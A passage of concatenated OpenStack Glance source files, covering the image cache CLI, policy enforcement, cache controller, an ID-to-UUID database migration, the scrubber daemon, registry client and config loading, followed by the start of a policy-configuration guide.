creds['auth_url'].find('https') != -1))
return glance_client.Client(host=options.host, port=options.port,
use_ssl=use_ssl, auth_tok=options.auth_token,
creds=creds)
def create_options(parser):
"""
Sets up the CLI and config-file options that may be
parsed and program commands.
:param parser: The option parser
"""
parser.add_option('-v', '--verbose', default=False, action="store_true",
help="Print more verbose output")
parser.add_option('-d', '--debug', default=False, action="store_true",
help="Print more verbose output")
parser.add_option('-H', '--host', metavar="ADDRESS", default="0.0.0.0",
help="Address of Glance API host. "
"Default: %default")
parser.add_option('-p', '--port', dest="port", metavar="PORT",
type=int, default=9292,
help="Port the Glance API host listens on. "
"Default: %default")
parser.add_option('-A', '--auth_token', dest="auth_token",
metavar="TOKEN", default=None,
help="Authentication token to use to identify the "
"client to the glance server")
parser.add_option('-f', '--force', dest="force", metavar="FORCE",
default=False, action="store_true",
help="Prevent select actions from requesting "
"user confirmation")
def parse_options(parser, cli_args):
"""
Returns the parsed CLI options, command to run and its arguments, merged
with any same-named options found in a configuration file
:param parser: The option parser
"""
if not cli_args:
cli_args.append('-h') # Show options in usage output...
(options, args) = parser.parse_args(cli_args)
# HACK(sirp): Make the parser available to the print_help method
# print_help is a command, so it only accepts (options, args); we could
# one-off have it take (parser, options, args), however, for now, I think
# this little hack will suffice
options.__parser = parser
if not args:
parser.print_usage()
sys.exit(0)
command_name = args.pop(0)
command = lookup_command(parser, command_name)
return (options, command, args)
def print_help(options, args):
"""
Print help specific to a command
"""
if len(args) != 1:
sys.exit("Please specify a command")
parser = options.__parser
command_name = args.pop()
command = lookup_command(parser, command_name)
print command.__doc__ % {'prog': os.path.basename(sys.argv[0])}
def lookup_command(parser, command_name):
BASE_COMMANDS = {'help': print_help}
CACHE_COMMANDS = {
'list-cached': list_cached,
'list-queued': list_queued,
'queue-image': queue_image,
'delete-cached-image': delete_cached_image,
'delete-all-cached-images': delete_all_cached_images,
'delete-queued-image': delete_queued_image,
'delete-all-queued-images': delete_all_queued_images,
}
commands = {}
for command_set in (BASE_COMMANDS, CACHE_COMMANDS):
commands.update(command_set)
try:
command = commands[command_name]
except KeyError:
parser.print_usage()
sys.exit("Unknown command: %s" % command_name)
return command
def user_confirm(prompt, default=False):
"""
Yes/No question dialog with user.
:param prompt: question/statement to present to user (string)
:param default: boolean value to return if empty string
is received as response to prompt
"""
if default:
prompt_default = "[Y/n]"
else:
prompt_default = "[y/N]"
answer = raw_input("%s %s " % (prompt, prompt_default))
if answer == "":
return default
else:
return answer.lower() in ("yes", "y")
if __name__ == '__main__':
usage = """
%prog <command> [options] [args]
Commands:
help <command> Output help for one of the commands below
list-cached List all images currently cached
list-queued List all images currently queued for caching
queue-image Queue an image for caching
delete-cached-image Purges an image from the cache
delete-all-cached-images Removes all images from the cache
delete-queued-image Deletes an image from the cache queue
delete-all-queued-images Deletes all images from the cache queue
clean Removes any stale or invalid image files
from the cache
"""
oparser = optparse.OptionParser(version='%%prog %s'
% version.version_string(),
usage=usage.strip())
create_options(oparser)
(options, command, args) = parse_options(oparser, sys.argv[1:])
try:
start_time = time.time()
result = command(options, args)
end_time = time.time()
if options.verbose:
print "Completed in %-0.4f sec." % (end_time - start_time)
sys.exit(result)
except (RuntimeError, NotImplementedError), e:
print "ERROR: ", e
<file_sep>[tox]
envlist = py26,py27
[testenv]
deps = -r{toxinidir}/tools/pip-requires
commands = /bin/bash run_tests.sh -N
[testenv:pep8]
commands = pep8 --repeat glance
<file_sep># vim: tabstop=4 shiftwidth=4 softtabstop=4
# Copyright 2012 OpenStack, LLC
# All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License"); you may
# not use this file except in compliance with the License. You may obtain
# a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS, WITHOUT
# WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the
# License for the specific language governing permissions and limitations
# under the License.
import httplib2
from glance.tests import functional
class TestMultiprocessing(functional.FunctionalTest):
"""Functional tests for the bin/glance CLI tool"""
def setUp(self):
self.workers = 2
super(TestMultiprocessing, self).setUp()
def test_multiprocessing(self):
"""Spin up the api servers with multiprocessing on"""
self.cleanup()
self.start_servers(**self.__dict__.copy())
path = "http://%s:%d/v1/images" % ("0.0.0.0", self.api_port)
http = httplib2.Http()
response, content = http.request(path, 'GET')
self.assertEqual(response.status, 200)
self.assertEqual(content, '{"images": []}')
self.stop_servers()
<file_sep># vim: tabstop=4 shiftwidth=4 softtabstop=4
# Copyright (c) 2011 OpenStack, LLC.
# All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License"); you may
# not use this file except in compliance with the License. You may obtain
# a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS, WITHOUT
# WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the
# License for the specific language governing permissions and limitations
# under the License.
"""Policy Engine For Glance"""
import json
import os.path
from glance.common import cfg
from glance.common import exception
from glance.common import policy
class Enforcer(object):
"""Responsible for loading and enforcing rules"""
policy_opts = (
cfg.StrOpt('policy_file', default=None),
cfg.StrOpt('policy_default_rule', default='default'),
)
def __init__(self, conf):
for opt in self.policy_opts:
conf.register_opt(opt)
self.default_rule = conf.policy_default_rule
self.policy_path = self._find_policy_file(conf)
self.policy_file_mtime = None
self.policy_file_contents = None
def set_rules(self, rules):
"""Create a new Brain based on the provided dict of rules"""
brain = policy.Brain(rules, self.default_rule)
policy.set_brain(brain)
def load_rules(self):
"""Set the rules found in the json file on disk"""
rules = self._read_policy_file()
self.set_rules(rules)
@staticmethod
def _find_policy_file(conf):
"""Locate the policy json data file"""
if conf.policy_file:
return conf.policy_file
matches = cfg.find_config_files('glance', 'policy', 'json')
try:
return matches[0]
except IndexError:
raise cfg.ConfigFilesNotFoundError(('policy.json',))
def _read_policy_file(self):
"""Read contents of the policy file
This re-caches policy data if the file has been changed.
"""
mtime = os.path.getmtime(self.policy_path)
if not self.policy_file_contents or mtime != self.policy_file_mtime:
with open(self.policy_path) as fap:
raw_contents = fap.read()
self.policy_file_contents = json.loads(raw_contents)
self.policy_file_mtime = mtime
return self.policy_file_contents
def enforce(self, context, action, target):
"""Verifies that the action is valid on the target in this context.
:param context: Glance request context
:param action: String representing the action to be checked
:param object: Dictionary representing the object of the action.
:raises: `glance.common.exception.NotAuthorized`
:returns: None
"""
self.load_rules()
match_list = ('rule:%s' % action,)
credentials = {
'roles': context.roles,
'user': context.user,
'tenant': context.tenant,
}
try:
policy.enforce(match_list, target, credentials)
except policy.NotAuthorized:
raise exception.NotAuthorized(action=action)
<file_sep># vim: tabstop=4 shiftwidth=4 softtabstop=4
# Copyright 2011 OpenStack LLC.
# All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License"); you may
# not use this file except in compliance with the License. You may obtain
# a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS, WITHOUT
# WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the
# License for the specific language governing permissions and limitations
# under the License.
"""
Controller for Image Cache Management API
"""
import logging
import webob.exc
from glance.common import exception
from glance.common import wsgi
from glance.api.v1 import controller
from glance import image_cache
from glance import registry
logger = logging.getLogger(__name__)
class Controller(controller.BaseController):
"""
A controller for managing cached images.
"""
def __init__(self, conf):
self.conf = conf
self.cache = image_cache.ImageCache(self.conf)
def get_cached_images(self, req):
"""
GET /cached_images
Returns a mapping of records about cached images.
"""
images = self.cache.get_cached_images()
return dict(cached_images=images)
def delete_cached_image(self, req, image_id):
"""
DELETE /cached_images/<IMAGE_ID>
Removes an image from the cache.
"""
self.cache.delete_cached_image(image_id)
def delete_cached_images(self, req):
"""
DELETE /cached_images - Clear all active cached images
Removes all images from the cache.
"""
return dict(num_deleted=self.cache.delete_all_cached_images())
def get_queued_images(self, req):
"""
GET /queued_images
Returns a mapping of records about queued images.
"""
images = self.cache.get_queued_images()
return dict(queued_images=images)
def queue_image(self, req, image_id):
"""
PUT /queued_images/<IMAGE_ID>
Queues an image for caching. We do not check to see if
the image is in the registry here. That is done by the
prefetcher...
"""
self.cache.queue_image(image_id)
def delete_queued_image(self, req, image_id):
"""
DELETE /queued_images/<IMAGE_ID>
Removes an image from the cache.
"""
self.cache.delete_queued_image(image_id)
def delete_queued_images(self, req):
"""
DELETE /queued_images - Clear all active queued images
Removes all images from the cache.
"""
return dict(num_deleted=self.cache.delete_all_queued_images())
class CachedImageDeserializer(wsgi.JSONRequestDeserializer):
pass
class CachedImageSerializer(wsgi.JSONResponseSerializer):
pass
def create_resource(conf):
"""Cached Images resource factory method"""
deserializer = CachedImageDeserializer()
serializer = CachedImageSerializer()
return wsgi.Resource(Controller(conf), deserializer, serializer)
<file_sep># vim: tabstop=4 shiftwidth=4 softtabstop=4
# Copyright 2011 OpenStack LLC.
# All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License"); you may
# not use this file except in compliance with the License. You may obtain
# a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS, WITHOUT
# WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the
# License for the specific language governing permissions and limitations
# under the License.
"""
While SQLAlchemy/sqlalchemy-migrate should abstract this correctly,
there are known issues with these libraries so SQLite and non-SQLite
migrations must be done separately.
"""
import copy
import migrate
import sqlalchemy
import glance.common.utils
meta = sqlalchemy.MetaData()
def upgrade(migrate_engine):
"""
Call the correct dialect-specific upgrade.
"""
meta.bind = migrate_engine
t_images = _get_table('images', meta)
t_image_members = _get_table('image_members', meta)
t_image_properties = _get_table('image_properties', meta)
if migrate_engine.url.get_dialect().name == "sqlite":
_upgrade_sqlite(t_images, t_image_members, t_image_properties)
else:
_upgrade_other(t_images, t_image_members, t_image_properties)
_update_all_ids_to_uuids(t_images, t_image_members, t_image_properties)
def downgrade(migrate_engine):
"""
Call the correct dialect-specific downgrade.
"""
meta.bind = migrate_engine
t_images = _get_table('images', meta)
t_image_members = _get_table('image_members', meta)
t_image_properties = _get_table('image_properties', meta)
if migrate_engine.url.get_dialect().name == "sqlite":
_downgrade_sqlite(t_images, t_image_members, t_image_properties)
else:
_downgrade_other(t_images, t_image_members, t_image_properties)
_update_all_uuids_to_ids(t_images, t_image_members, t_image_properties)
def _upgrade_sqlite(t_images, t_image_members, t_image_properties):
"""
Upgrade 011 -> 012 with special SQLite-compatible logic.
"""
t_images.c.id.alter(sqlalchemy.Column("id",
sqlalchemy.String(36),
primary_key=True))
sql_commands = [
"""CREATE TABLE image_members_backup (
id INTEGER NOT NULL,
image_id VARCHAR(36) NOT NULL,
member VARCHAR(255) NOT NULL,
can_share BOOLEAN NOT NULL,
created_at DATETIME NOT NULL,
updated_at DATETIME,
deleted_at DATETIME,
deleted BOOLEAN NOT NULL,
PRIMARY KEY (id),
UNIQUE (image_id, member),
CHECK (can_share IN (0, 1)),
CHECK (deleted IN (0, 1)),
FOREIGN KEY(image_id) REFERENCES images (id)
);""",
"""INSERT INTO image_members_backup
SELECT * FROM image_members;""",
"""CREATE TABLE image_properties_backup (
id INTEGER NOT NULL,
image_id VARCHAR(36) NOT NULL,
name VARCHAR(255) NOT NULL,
value TEXT,
created_at DATETIME NOT NULL,
updated_at DATETIME,
deleted_at DATETIME,
deleted BOOLEAN NOT NULL,
PRIMARY KEY (id),
CHECK (deleted IN (0, 1)),
UNIQUE (image_id, name),
FOREIGN KEY(image_id) REFERENCES images (id)
);""",
"""INSERT INTO image_properties_backup
SELECT * FROM image_properties;""",
]
for command in sql_commands:
meta.bind.execute(command)
_sqlite_table_swap(t_image_members, t_image_properties)
def _downgrade_sqlite(t_images, t_image_members, t_image_properties):
"""
Downgrade 012 -> 011 with special SQLite-compatible logic.
"""
t_images.c.id.alter(sqlalchemy.Column("id",
sqlalchemy.Integer(),
primary_key=True))
sql_commands = [
"""CREATE TABLE image_members_backup (
id INTEGER NOT NULL,
image_id INTEGER NOT NULL,
member VARCHAR(255) NOT NULL,
can_share BOOLEAN NOT NULL,
created_at DATETIME NOT NULL,
updated_at DATETIME,
deleted_at DATETIME,
deleted BOOLEAN NOT NULL,
PRIMARY KEY (id),
UNIQUE (image_id, member),
CHECK (can_share IN (0, 1)),
CHECK (deleted IN (0, 1)),
FOREIGN KEY(image_id) REFERENCES images (id)
);""",
"""INSERT INTO image_members_backup
SELECT * FROM image_members;""",
"""CREATE TABLE image_properties_backup (
id INTEGER NOT NULL,
image_id INTEGER NOT NULL,
name VARCHAR(255) NOT NULL,
value TEXT,
created_at DATETIME NOT NULL,
updated_at DATETIME,
deleted_at DATETIME,
deleted BOOLEAN NOT NULL,
PRIMARY KEY (id),
CHECK (deleted IN (0, 1)),
UNIQUE (image_id, name),
FOREIGN KEY(image_id) REFERENCES images (id)
);""",
"""INSERT INTO image_properties_backup
SELECT * FROM image_properties;""",
]
for command in sql_commands:
meta.bind.execute(command)
_sqlite_table_swap(t_image_members, t_image_properties)
def _upgrade_other(t_images, t_image_members, t_image_properties):
"""
Upgrade 011 -> 012 with logic for non-SQLite databases.
"""
foreign_keys = _get_foreign_keys(t_images,
t_image_members,
t_image_properties)
for fk in foreign_keys:
fk.drop()
t_images.c.id.alter(sqlalchemy.String(36), primary_key=True)
t_image_members.c.image_id.alter(sqlalchemy.String(36))
t_image_properties.c.image_id.alter(sqlalchemy.String(36))
_update_all_ids_to_uuids(t_images, t_image_members, t_image_properties)
for fk in foreign_keys:
fk.create()
def _downgrade_other(t_images, t_image_members, t_image_properties):
"""
Downgrade 012 -> 011 with logic for non-SQLite databases.
"""
foreign_keys = _get_foreign_keys(t_images,
t_image_members,
t_image_properties)
for fk in foreign_keys:
fk.drop()
t_images.c.id.alter(sqlalchemy.Integer(), primary_key=True)
t_image_members.c.image_id.alter(sqlalchemy.Integer())
t_image_properties.c.image_id.alter(sqlalchemy.Integer())
_update_all_uuids_to_ids(t_images, t_image_members, t_image_properties)
for fk in foreign_keys:
fk.create()
def _sqlite_table_swap(t_image_members, t_image_properties):
t_image_members.drop()
t_image_properties.drop()
meta.bind.execute("ALTER TABLE image_members_backup "
"RENAME TO image_members")
meta.bind.execute("ALTER TABLE image_properties_backup "
"RENAME TO image_properties")
for index in t_image_members.indexes.union(t_image_properties.indexes):
index.create()
def _get_table(table_name, metadata):
"""Return a sqlalchemy Table definition with associated metadata."""
return sqlalchemy.Table(table_name, metadata, autoload=True)
def _get_foreign_keys(t_images, t_image_members, t_image_properties):
"""Retrieve and return foreign keys for members/properties tables."""
image_members_fk_name = list(t_image_members.foreign_keys)[0].name
image_properties_fk_name = list(t_image_properties.foreign_keys)[0].name
fk1 = migrate.ForeignKeyConstraint([t_image_members.c.image_id],
[t_images.c.id],
name=image_members_fk_name)
fk2 = migrate.ForeignKeyConstraint([t_image_properties.c.image_id],
[t_images.c.id],
name=image_properties_fk_name)
return fk1, fk2
def _update_all_ids_to_uuids(t_images, t_image_members, t_image_properties):
"""Transition from INTEGER id to VARCHAR(36) id."""
images = list(t_images.select().execute())
for image in images:
old_id = image["id"]
new_id = glance.common.utils.generate_uuid()
t_images.update().\
where(t_images.c.id == old_id).\
values(id=new_id).execute()
t_image_members.update().\
where(t_image_members.c.image_id == old_id).\
values(image_id=new_id).execute()
t_image_properties.update().\
where(t_image_properties.c.image_id == old_id).\
values(image_id=new_id).execute()
def _update_all_uuids_to_ids(t_images, t_image_members, t_image_properties):
"""Transition from VARCHAR(36) id to INTEGER id."""
images = list(t_images.select().execute())
for image in images:
old_id = image["id"]
new_id = 0
t_images.update().\
where(t_images.c.id == old_id).\
values(id=new_id).execute()
t_image_members.update().\
where(t_image_members.c.image_id == old_id).\
values(image_id=new_id).execute()
t_image_properties.update().\
where(t_image_properties.c.image_id == old_id).\
values(image_id=new_id).execute()
new_id += 1
<file_sep># vim: tabstop=4 shiftwidth=4 softtabstop=4
# Copyright 2010 OpenStack, LLC
# All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License"); you may
# not use this file except in compliance with the License. You may obtain
# a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS, WITHOUT
# WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the
# License for the specific language governing permissions and limitations
# under the License.
import calendar
import eventlet
import logging
import time
import os
import glance.store.filesystem
import glance.store.http
import glance.store.s3
import glance.store.swift
from glance import registry
from glance import store
from glance.common import cfg
from glance.common import utils
from glance.common import exception
from glance.registry import context
from glance.registry import client
logger = logging.getLogger('glance.store.scrubber')
class Daemon(object):
def __init__(self, wakeup_time=300, threads=1000):
logger.info(_("Starting Daemon: wakeup_time=%(wakeup_time)s "
"threads=%(threads)s") % locals())
self.wakeup_time = wakeup_time
self.event = eventlet.event.Event()
self.pool = eventlet.greenpool.GreenPool(threads)
def start(self, application):
self._run(application)
def wait(self):
try:
self.event.wait()
except KeyboardInterrupt:
msg = _("Daemon Shutdown on KeyboardInterrupt")
logger.info(msg)
def _run(self, application):
logger.debug(_("Runing application"))
self.pool.spawn_n(application.run, self.pool, self.event)
eventlet.spawn_after(self.wakeup_time, self._run, application)
logger.debug(_("Next run scheduled in %s seconds") % self.wakeup_time)
class Scrubber(object):
CLEANUP_FILE = ".cleanup"
opts = [
cfg.BoolOpt('cleanup_scrubber', default=False),
cfg.IntOpt('cleanup_scrubber_time', default=86400)
]
def __init__(self, conf, **local_conf):
self.conf = conf
self.conf.register_opts(self.opts)
self.datadir = store.get_scrubber_datadir(conf)
self.cleanup = self.conf.cleanup_scrubber
self.cleanup_time = self.conf.cleanup_scrubber_time
host, port = registry.get_registry_addr(conf)
logger.info(_("Initializing scrubber with conf: %s") %
{'datadir': self.datadir, 'cleanup': self.cleanup,
'cleanup_time': self.cleanup_time,
'registry_host': host, 'registry_port': port})
self.registry = client.RegistryClient(host, port)
utils.safe_mkdirs(self.datadir)
store.create_stores(conf)
def run(self, pool, event=None):
now = time.time()
if not os.path.exists(self.datadir):
logger.info(_("%s does not exist") % self.datadir)
return
delete_work = []
for root, dirs, files in os.walk(self.datadir):
for id in files:
if id == self.CLEANUP_FILE:
continue
file_name = os.path.join(root, id)
delete_time = os.stat(file_name).st_mtime
if delete_time > now:
continue
uri, delete_time = read_queue_file(file_name)
if delete_time > now:
continue
delete_work.append((id, uri, now))
logger.info(_("Deleting %s images") % len(delete_work))
pool.starmap(self._delete, delete_work)
if self.cleanup:
self._cleanup()
def _delete(self, id, uri, now):
file_path = os.path.join(self.datadir, str(id))
try:
logger.debug(_("Deleting %(uri)s") % {'uri': uri})
store.delete_from_backend(uri)
except store.UnsupportedBackend:
msg = _("Failed to delete image from store (%(uri)s).")
logger.error(msg % {'uri': uri})
write_queue_file(file_path, uri, now)
self.registry.update_image(id, {'status': 'deleted'})
utils.safe_remove(file_path)
def _cleanup(self):
now = time.time()
cleanup_file = os.path.join(self.datadir, self.CLEANUP_FILE)
if not os.path.exists(cleanup_file):
write_queue_file(cleanup_file, 'cleanup', now)
return
_uri, last_run_time = read_queue_file(cleanup_file)
cleanup_time = last_run_time + self.cleanup_time
if cleanup_time > now:
return
logger.info(_("Getting images deleted before %s") % self.cleanup_time)
write_queue_file(cleanup_file, 'cleanup', now)
filters = {'deleted': True, 'is_public': 'none',
'status': 'pending_delete'}
pending_deletes = self.registry.get_images_detailed(filters=filters)
delete_work = []
for pending_delete in pending_deletes:
deleted_at = pending_delete.get('deleted_at')
if not deleted_at:
continue
time_fmt = "%Y-%m-%dT%H:%M:%S"
delete_time = calendar.timegm(time.strptime(deleted_at,
time_fmt))
if delete_time + self.cleanup_time > now:
continue
delete_work.append((pending_delete['id'],
pending_delete['location'],
now))
logger.info(_("Deleting %s images") % len(delete_work))
pool.starmap(self._delete, delete_work)
def read_queue_file(file_path):
with open(file_path) as f:
uri = f.readline().strip()
delete_time = int(f.readline().strip())
return uri, delete_time
def write_queue_file(file_path, uri, delete_time):
with open(file_path, 'w') as f:
f.write('\n'.join([uri, str(int(delete_time))]))
os.chmod(file_path, 0600)
os.utime(file_path, (delete_time, delete_time))
<file_sep># vim: tabstop=4 shiftwidth=4 softtabstop=4
# Copyright 2010-2011 OpenStack, LLC
# All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License"); you may
# not use this file except in compliance with the License. You may obtain
# a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS, WITHOUT
# WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the
# License for the specific language governing permissions and limitations
# under the License.
"""
Registry API
"""
import logging
from glance.common import cfg
from glance.common import exception
from glance.registry import client
logger = logging.getLogger('glance.registry')
_CLIENT_HOST = None
_CLIENT_PORT = None
_CLIENT_KWARGS = {}
# AES key used to encrypt 'location' metadata
_METADATA_ENCRYPTION_KEY = None
registry_addr_opts = [
cfg.StrOpt('registry_host', default='0.0.0.0'),
cfg.IntOpt('registry_port', default=9191),
]
registry_client_opts = [
cfg.StrOpt('registry_client_protocol', default='http'),
cfg.StrOpt('registry_client_key_file'),
cfg.StrOpt('registry_client_cert_file'),
cfg.StrOpt('registry_client_ca_file'),
cfg.StrOpt('metadata_encryption_key'),
]
admin_token_opt = cfg.StrOpt('admin_token')
def get_registry_addr(conf):
conf.register_opts(registry_addr_opts)
return (conf.registry_host, conf.registry_port)
def configure_registry_client(conf):
"""
Sets up a registry client for use in registry lookups
:param conf: Configuration options coming from controller
"""
global _CLIENT_KWARGS, _CLIENT_HOST, _CLIENT_PORT, _METADATA_ENCRYPTION_KEY
try:
host, port = get_registry_addr(conf)
except cfg.ConfigFileValueError:
msg = _("Configuration option was not valid")
logger.error(msg)
raise exception.BadRegistryConnectionConfiguration(msg)
except IndexError:
msg = _("Could not find required configuration option")
logger.error(msg)
raise exception.BadRegistryConnectionConfiguration(msg)
conf.register_opts(registry_client_opts)
_CLIENT_HOST = host
_CLIENT_PORT = port
_METADATA_ENCRYPTION_KEY = conf.metadata_encryption_key
_CLIENT_KWARGS = {
'use_ssl': conf.registry_client_protocol.lower() == 'https',
'key_file': conf.registry_client_key_file,
'cert_file': conf.registry_client_cert_file,
'ca_file': conf.registry_client_ca_file
}
def get_client_context(conf, **kwargs):
conf.register_opt(admin_token_opt)
from glance.common import context
return context.RequestContext(auth_tok=conf.admin_token, **kwargs)
def get_registry_client(cxt):
global _CLIENT_KWARGS, _CLIENT_HOST, _CLIENT_PORT, _METADATA_ENCRYPTION_KEY
kwargs = _CLIENT_KWARGS.copy()
kwargs['auth_tok'] = cxt.auth_tok
return client.RegistryClient(_CLIENT_HOST, _CLIENT_PORT,
_METADATA_ENCRYPTION_KEY, **kwargs)
def get_images_list(context, **kwargs):
c = get_registry_client(context)
return c.get_images(**kwargs)
def get_images_detail(context, **kwargs):
c = get_registry_client(context)
return c.get_images_detailed(**kwargs)
def get_image_metadata(context, image_id):
c = get_registry_client(context)
return c.get_image(image_id)
def add_image_metadata(context, image_meta):
logger.debug(_("Adding image metadata..."))
c = get_registry_client(context)
return c.add_image(image_meta)
def update_image_metadata(context, image_id, image_meta,
purge_props=False):
logger.debug(_("Updating image metadata for image %s..."), image_id)
c = get_registry_client(context)
return c.update_image(image_id, image_meta, purge_props)
def delete_image_metadata(context, image_id):
logger.debug(_("Deleting image metadata for image %s..."), image_id)
c = get_registry_client(context)
return c.delete_image(image_id)
def get_image_members(context, image_id):
c = get_registry_client(context)
return c.get_image_members(image_id)
def get_member_images(context, member_id):
c = get_registry_client(context)
return c.get_member_images(member_id)
def replace_members(context, image_id, member_data):
c = get_registry_client(context)
return c.replace_members(image_id, member_data)
def add_member(context, image_id, member_id, can_share=None):
c = get_registry_client(context)
return c.add_member(image_id, member_id, can_share=can_share)
def delete_member(context, image_id, member_id):
c = get_registry_client(context)
return c.delete_member(image_id, member_id)
<file_sep>#!/usr/bin/env python
# vim: tabstop=4 shiftwidth=4 softtabstop=4
# Copyright 2011 OpenStack LLC.
# All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License"); you may
# not use this file except in compliance with the License. You may obtain
# a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS, WITHOUT
# WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the
# License for the specific language governing permissions and limitations
# under the License.
"""
Routines for configuring Glance
"""
import logging
import logging.config
import logging.handlers
import os
import sys
from glance import version
from glance.common import cfg
from glance.common import wsgi
paste_deploy_group = cfg.OptGroup('paste_deploy')
paste_deploy_opts = [
cfg.StrOpt('flavor'),
cfg.StrOpt('config_file'),
]
class GlanceConfigOpts(cfg.CommonConfigOpts):
def __init__(self, default_config_files=None, **kwargs):
super(GlanceConfigOpts, self).__init__(
project='glance',
version='%%prog %s' % version.version_string(),
default_config_files=default_config_files,
**kwargs)
class GlanceCacheConfigOpts(GlanceConfigOpts):
def __init__(self, **kwargs):
config_files = cfg.find_config_files(project='glance',
prog='glance-cache')
super(GlanceCacheConfigOpts, self).__init__(config_files, **kwargs)
def setup_logging(conf):
"""
Sets up the logging options for a log with supplied name
:param conf: a cfg.ConfOpts object
"""
if conf.log_config:
# Use a logging configuration file for all settings...
if os.path.exists(conf.log_config):
logging.config.fileConfig(conf.log_config)
return
else:
raise RuntimeError("Unable to locate specified logging "
"config file: %s" % conf.log_config)
root_logger = logging.root
if conf.debug:
root_logger.setLevel(logging.DEBUG)
elif conf.verbose:
root_logger.setLevel(logging.INFO)
else:
root_logger.setLevel(logging.WARNING)
formatter = logging.Formatter(conf.log_format, conf.log_date_format)
if conf.use_syslog:
try:
facility = getattr(logging.handlers.SysLogHandler,
conf.syslog_log_facility)
except AttributeError:
raise ValueError(_("Invalid syslog facility"))
handler = logging.handlers.SysLogHandler(address='/dev/log',
facility=facility)
elif conf.log_file:
logfile = conf.log_file
if conf.log_dir:
logfile = os.path.join(conf.log_dir, logfile)
handler = logging.handlers.WatchedFileHandler(logfile)
else:
handler = logging.StreamHandler(sys.stdout)
handler.setFormatter(formatter)
root_logger.addHandler(handler)
def _register_paste_deploy_opts(conf):
"""
Idempotent registration of paste_deploy option group
:param conf: a cfg.ConfigOpts object
"""
conf.register_group(paste_deploy_group)
conf.register_opts(paste_deploy_opts, group=paste_deploy_group)
def _get_deployment_flavor(conf):
"""
Retrieve the paste_deploy.flavor config item, formatted appropriately
for appending to the application name.
:param conf: a cfg.ConfigOpts object
"""
_register_paste_deploy_opts(conf)
flavor = conf.paste_deploy.flavor
return '' if not flavor else ('-' + flavor)
def _get_deployment_config_file(conf):
"""
Retrieve the deployment_config_file config item, formatted as an
absolute pathname.
:param conf: a cfg.ConfigOpts object
"""
_register_paste_deploy_opts(conf)
config_file = conf.paste_deploy.config_file
if not config_file:
# Assume paste config is in a paste.ini file corresponding
# to the last config file
path = conf.config_file[-1].replace(".conf", "-paste.ini")
else:
path = config_file
return os.path.abspath(path)
def load_paste_app(conf, app_name=None):
"""
Builds and returns a WSGI app from a paste config file.
We assume the last config file specified in the supplied ConfigOpts
object is the paste config file.
:param conf: a cfg.ConfigOpts object
:param app_name: name of the application to load
:raises RuntimeError when config file cannot be located or application
cannot be loaded from config file
"""
if app_name is None:
app_name = conf.prog
# append the deployment flavor to the application name,
# in order to identify the appropriate paste pipeline
app_name += _get_deployment_flavor(conf)
conf_file = _get_deployment_config_file(conf)
try:
# Setup logging early
setup_logging(conf)
logger = logging.getLogger(app_name)
app = wsgi.paste_deploy_app(conf_file, app_name, conf)
# Log the options used when starting if we're in debug mode...
if conf.debug:
conf.log_opt_values(logging.getLogger(app_name), logging.DEBUG)
return app
except (LookupError, ImportError), e:
raise RuntimeError("Unable to load %(app_name)s from "
"configuration file %(conf_file)s."
"\nGot: %(e)r" % locals())
<file_sep>..
Copyright 2012 OpenStack, LLC
All Rights Reserved.
Licensed under the Apache License, Version 2.0 (the "License"); you may
not use this file except in compliance with the License. You may obtain
a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS, WITHOUT
WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the
License for the specific language governing permissions and limitations
under the License.
Policies
========
Glance's API calls may be restricted to certain sets of users using
a Policy configuration file.
This document explains exactly how policies work and how the policy
configuration file is constructed.
Basics
------
A policy is composed of a set of rules that are used by the Policy "Brain"
in determining if a particular action may be performed by a particular
role.
Constructing a Policy Configuration File
----------------------------------------
Policy configuration files are simply serialized JSON dictionaries that
contain sets of rules. Each top-level key is the name of a rule. Each rule
is a string that describes an action that may be performed in the Glance API.
The actions that may have a rule enforced on them are:
* ``get_images`` - Allowed to call the ``GET /images`` and
``GET /images/detail`` API calls
* ``get_image`` - Allowed to call the ``HEAD /images/<IMAGE_ID>`` and
``GET /images/<IMAGE_ID>`` API calls
* ``add_image`` - Allowed to call the ``POST /images`` API call
* ``modify_image`` - Allowed to call the ``PUT /images/<IMAGE_ID>`` API call
* ``delete_image`` - Allowed to call the ``DELETE /images/<IMAGE_ID>`` API call
To limit an action to a particular role or roles, you list the roles like so ::
{
"delete_image": ["role:admin", "role:superuser"]
}
The above would add a rule that only allowed users that had roles of either
"admin" or "superuser" to delete an image.
Examples
--------
Example 1. (The default policy configuration)
::
{
"default": []
}
Note that an empty JSON list means that all methods of the
Glance API are callable by anyone.
Example 2. Disallow modification calls to non-admins
::
{
"default": [],
